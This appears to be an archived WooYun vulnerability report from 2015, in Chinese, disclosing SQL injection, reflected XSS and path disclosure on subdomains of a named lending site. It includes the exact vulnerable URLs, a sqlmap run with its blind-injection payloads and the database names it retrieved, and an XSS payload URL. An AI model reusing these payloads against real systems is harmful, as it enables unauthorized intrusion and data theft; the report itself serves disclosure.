破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

易贷网多处SQL注入\Xss\暴路径

编号139736
Urlhttp://www.wooyun.org/bug.php?action=view&id=139736
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题易贷网多处SQL注入\Xss\暴路径
漏洞类型SQL注射漏洞
厂商edai.com
白帽子#6c6c6c
提交日期2015-09-08 15:31:00
公开日期2015-09-13 15:32:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签xss sql
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank0
漏洞简介
SQL
漏洞细节

WooYun: 易贷网某站点存在SQL注入漏洞(管理员MD5可解密)
这个漏洞的sql注入没有修复。
http://yimin.edai.com/order.php?orderby=immigrate%27
这里暴路径
Fatal error: Call to undefined method cpage::onimmigrate'() in E:\home\LocalUser\582798\www\include\port.php on line 42
sql注入

C:\Python27\sqlmap>sqlmap.py -u "http://yimin.edai.com/abroad.php?act=list&count
ry=9&classid=16*" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150823}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:00:48
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[15:00:49] [INFO] resuming back-end DBMS 'mysql'
[15:00:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://yimin.edai.com:80/abroad.php?act=list&country=9&classid=16)
AND 2708=2708 AND (8737=8737
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://yimin.edai.com:80/abroad.php?act=list&country=9&classid=16)
AND (SELECT * FROM (SELECT(SLEEP(5)))coCb) AND (2958=2958
---
[15:00:50] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.29
back-end DBMS: MySQL 5.0.12
[15:00:50] [INFO] fetching database names
[15:00:50] [INFO] fetching number of databases
[15:00:50] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[15:00:50] [INFO] retrieved:
[15:00:50] [WARNING] reflective value(s) found and filtering out
2
[15:00:52] [INFO] retrieved: information_schema
[15:01:34] [INFO] retrieved: s582798db0
available databases [2]:
[*] information_schema
[*] s582798db0


反射Xss
http://yimin.edai.com/abroad.php?act=%22%3E%3Cimg%20src=x%20onerror=alert%281%29%3E
\
很多类似的xss和暴路径就不多说了。

POC

详细说明

修复方案

转义过滤

状态信息 2015-09-08: 细节已通知厂商并且等待厂商处理中
2015-09-13: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复None漏洞Rank:15 (WooYun评价)
回应信息危害等级:无影响厂商忽略忽略时间:2015-09-13 15:32